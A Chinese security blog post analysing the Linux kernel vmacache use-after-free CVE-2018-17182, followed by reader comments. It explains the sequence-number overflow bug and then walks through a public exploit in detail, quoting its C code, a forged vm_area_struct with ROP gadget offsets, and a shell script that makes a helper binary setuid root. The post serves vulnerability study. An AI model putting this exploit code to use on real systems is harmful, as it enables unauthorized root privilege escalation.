vma
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
CVE-2018-17182 VMA use-after-free 详解
阅读量 59554 | 评论 10 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-17 10:00:31
漏洞分析
内核在3.16版本之后对vma的查找进行了优化:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849
新的vma缓存机制
在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值,并且在此基础上定义了一系列操作函数
vmacache_invalidate函数,用来将mm_struct的vmacache_seqnum加一,使其不等于当前线程的current->vmacache_seqnum。
vmacache_find
更新了vma_find函数,在这个位置会调用vmacache_find
vmacache_find
vmacache_find检索当前线程的vmacache缓存数组,如果地址范围在其中某一个vma的地址范围中,直接返回这个vma,不需要再进行红黑树检索
vmacache_find还会调用vmacache_valid,在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum,如果之前有过调用vmacache_invalidate,在这里会直接去调用vmacache_flush函数,刷新task_struct的vmacache链表之后会返回null。
vmacache_find函数在返回null后,vma_find会再去搜索红黑树找到合适的vma。找到vma之后,调用vmacache_update
vmacache_update会将找到的vma加入当前线程的vmacache缓存数组中
漏洞具体位置
但是这个32位的值是可以被溢出的,于是在vmacache_invalidate中会有溢出的检查,如果回到0,就会刷新vmacache缓存数组。
本来这套机制是没有问题的,但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程,太耗费时间
于是又发布了一次新的更新,如果是单线程的话不用对其刷新,直接返回。
但是这样就存在一个问题,如果在溢出之后,在调用vmacache_valid之前,立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff,并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct,但是是共享同一个mm_struct的,这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff,在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma,实现use after free。
我们再来看看mmap和munmap函数是如何改变seqnum的值。
也就是说,调用munmap去解除vma映射的时候,会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用
kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free list。
并且再mummap开始的时候会调用find_vma,这会更新vmacache或者是刷新它。
再来看mmap函数:在其中会调用mmap_region,然后调用
其中会调用vm_area_alloc,在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。
漏洞利用
现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。
漏洞利用代码https://github.com/jas502n/CVE-2018-17182
我们首先将作者的代码定义的每个函数具体功能进行分析,之后结合漏洞进行总体的串联
漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息,SEQUENCE_BUMP,用来更新当前线程mm_struct的seqnum。
case DMESG_DUMP: {
vmacache_debug_dump();
return 0;
} break;
case SEQUENCE_BUMP: {
current->mm->vmacache_seqnum += arg;
return 0;
} break;`
vmacache_debug_dump():
void vmacache_debug_dump(void)
{
struct mm_struct *mm = current->mm;
struct task_struct *g, *p;
int i;
pr_warn("entering vmacache_debug_dump(0x%lx)n", (unsigned long)mm);
pr_warn(" mm sequence: 0x%xn", mm->vmacache_seqnum);
rcu_read_lock();
for_each_process_thread(g, p) {
if (mm == p->mm) {
pr_warn(" task 0x%lx at 0x%x%sn", (unsigned long)p,
p->vmacache.seqnum,
(current == p)?" (current)":"");
pr_warn(" cache dump:n");
for (i=0; i
err |= probe_kernel_read(&vm_start,
&p->vmacache.vmas[i]->vm_start,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_end,
&p->vmacache.vmas[i]->vm_end,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_mm,
&p->vmacache.vmas[i]->vm_mm,
sizeof(unsigned long));
if (err)
continue;
pr_warn(" start=0x%lx end=0x%lx mm=0x%lxn",
vm_start, vm_end, vm_mm);
}
}
}
再看puppet.c
首先我们有一个全局变量sequence_mirror,用于标记mm_struct的seqnum的值
static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
这两个函数分别用于将mm_struct->vmacache_seqnum的值分别增加2和1。具体的原理是 首先在main函数中创建一个三个页的匿名映射。之后通过带有MAP_FIXED的mmap去申请第一页或者中间页的映射。如果是中间页,则会munmap开头和结尾两页,造成seqnum的两次递增。之后再进行合并。同理,开头一页的话则会造成一次递增。
static void sequence_target(long target) {
while (sequence_mirror + 2 <= target)
sequence_double_inc();
if (sequence_mirror + 1 <= target)
sequence_inc();
}
这个函数用于将sequence_mirror递增到指定值。
再来说说利用代码里面的进程之间通信的机制:
int control_event_fd = eventfd(0, EFD_SEMAPHORE);
if (control_event_fd == -1) err(1, "eventfd");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, control_fd_pair))
err(1, "socketpair");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(kmsg_fd);
close(control_fd_pair[0]);
if (dup2(control_fd_pair[1], 0) != 0) err(1, "dup2");
close(control_fd_pair[1]);
if (dup2(control_event_fd, 1) != 1) err(1, "dup2");
execl("./puppet", "puppet", NULL);
err(1, "execute puppet");
}
close(control_fd_pair[1]);
int bpf_map = recvfd(control_fd_pair[0]);
分别创建了eventfd和socketpair。并切将其重新定向为0和1。前者用于将子进程阻塞,在主进程中实现了将fake vma伪造完后发送信号让子进程继续去触发缺页异常,从而实现对控制流控制。后者定义了双向的套接字,用于将我们申请的bpf_map传回。bpf_map会在后文进行分析。
现在我们具体分析漏洞利用流程
在main函数中,我们在实现一系列初始化之后创建子进程,并在其中
execl("./puppet", "puppet", NULL);
在puppet中,我们首先申请一个三页的mmap匿名映射,用于增加mm—>vmacache_seqnum。
之后在不创建线程的前提下先将mm的seqnum更新为0x100000000L – VMA_SPAM_COUNT/2
sequence_cheat_bump(0xffff0000L);
sequence_target(0x100000000L - VMA_SPAM_COUNT/2);
之后我们申请5000个mmap映射,根据之前的分析,在slab分配器中也分配了5000个vm_area_struct。
for (unsigned long i=0; i
for (unsigned long i=0; i
break;
}
rop chain
利用我们之前通过dmesg泄漏的地址,最终我们需要伪造一个vma结构,其中的几个关键点是:vm_start和vm_end,vm_start必须设置0x7fffffffd000或者是随便一块没有被映射的区域,这样我们在解应用这块区域去触发页错误的时候,我们会找到我们伪造的vma。
第二个关键点是vm_ops,我们将会在子进程中调用eventfd来阻塞,直到我们在将fake vma写入到我们的bpf之后,在阻塞完毕之后,主进程再次阻塞。这个时候我们的子进程解引用一个没有建立页表映射的内存位置,触发缺页异常。因为我们之前已经伪造了vm_start,这个时候我们会触发 __do_fault函数,在其中调用我们伪造的vma的vm_ops的falut函数。
我们仔细来看伪造的vm_area_struct和payload。
char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //run_cmd: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
- 0x88,
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
}
};
vm_ops的位置是
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
- offsetof(struct vm_operations_struct, fault),
vma_kaddr的值就是我们通过dmesg获得的已经失效的vma缓存的地址,也就是我们将要通过bpf伪造的vma,这样的话我们调用vm->vm_ops->fault就是等于调用了 vma_kaddr + offsetof(struct vm_area_struct, vm_private_data),而这个值在我们伪造的vma中是vm_private_data,我们已经将其伪造成了内核rop:
ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
<__x86_indirect_thunk_rax>就是等于是 call rax,而rax的值是r13+0x88,r13的值就是我们伪造的vma的地址。也就是call vma struct+0x88的位置,
在这个位置是
.rb = {
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
我们放上来另一个内核rop
ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000<__x86_indirect_thunk_rax>
这里我们将call vma+0x20,参数是vma+0x28,我们已经在结构中伪造了将vma+0x20是run_cmd,vma+0x28也就是vm_rb.rb_left的值是”/tmp/%1”
而这里面我们早就写入了
char *suid_tmpl = "#!/bin/shn"
"chown root:root ./suidhelpern"
"chmod 04755 ./suidhelpern"
"while true; do sleep 1337; donen";
这样直接给suidhelper以root权限。
之后我们伪造一个fake page,offset的值是
if (offset + sizeof(fake_vma) <= 0x1000) { memcpy(fake_vma_page + offset, &fake_vma, sizeof(fake_vma)); } else { size_t chunk_len = 0x1000 - offset; memcpy(fake_vma_page + offset, &fake_vma, chunk_len); memcpy(fake_vma_page, (char*)&fake_vma + chunk_len, sizeof(fake_vma) - chunk_len); } offset的值我们通过 long offset = (vma_kaddr - 0x90/*compensate for BPF map header*/) & 0xfff; 得倒,因为我们要的是在这个页中的偏移位置,所以需要 &0xfff就是在这个页的偏移量。但是还需要减去0x90 bpf map header,因为bpf update的时候会自动加上偏移量。 这样我们需要的东西已经全部准备好,直接通过 bpf_(BPF_MAP_UPDATE_ELEM, &update_attr) 将伪造好的页写入到内核,即可将我们在vmacache中的vma覆盖掉。之后通过触发缺页异常去执行vm_ops->的fault,从而实现整个rop chain 的利用。之后我们的主进程虽然会崩溃掉,但是我们已经以root权限打开了新的可执行文件sulidhelper,在其中弹出一个shell,实现了内核态的提权。
参考链接
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/161632
安全客 - 有思想的安全新媒体
linux内核安全 CVE-2018-17182
张政 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
2018安恒杯11月赛-Web&Crypto题解
2018-11-26 10:02:02
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
|发表评论
发表你的评论吧
昵称
带头大哥
换一个
|评论列表
我不是黑客 · 2018-11-16 09:30:38 回复
请教下,thread_create创建子线程为什么要使用asm volatile,而不直接使用系统函数clone呢
熊猫烧香作者 · 2018-10-20 14:04:56 回复
有理有据,透彻入理
张政 · 本文作者 · 2018-10-20 19:48:00 回复
谢谢,有空多交流
熊猫烧香作者 · 2018-10-18 22:19:09 回复
漏洞是仁类进步的阶梯
越南邻国宰相 · 2018-10-17 21:23:12 1 回复
高智商玩转的东西,了不起
黑帽子 · 2018-10-17 19:19:26 1 回复
长知识了。
妇科圣手 · 2018-10-17 18:06:01 1 回复
大佬啊!
白帽子 · 2018-10-17 10:45:45 5 回复
作者真大佬啊
你全家都是黑客 · 2018-10-17 11:01:18 4 回复
。。。。。老白别搞我
管理员 · 2018-10-17 10:54:11 4 回复
漏洞发现者是真大佬,我就是个分析分析的爱好者
张政
maybe that makes me a fool
文章
1
粉丝
0
TA的文章
CVE-2018-17182 VMA use-after-free 详解
2018-10-17 10:00:31
输入关键字搜索内容
相关文章
2018安恒杯11月赛-Web&Crypto题解
U2F安全协议分析
二十年重回首——CIH病毒源码分析
Cookie Maker:隐藏在Google Docs中的恶意网络
情报分析与研判之图片信息挖掘(1)
威胁情报专栏:谈谈我所理解的威胁情报——认识情报
使用邮件实现C&C通信:新型木马Cannon分析
热门推荐
文章目录
漏洞分析
新的vma缓存机制
漏洞具体位置
漏洞利用
如何绕过kaslr?
rop chain
参考链接
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论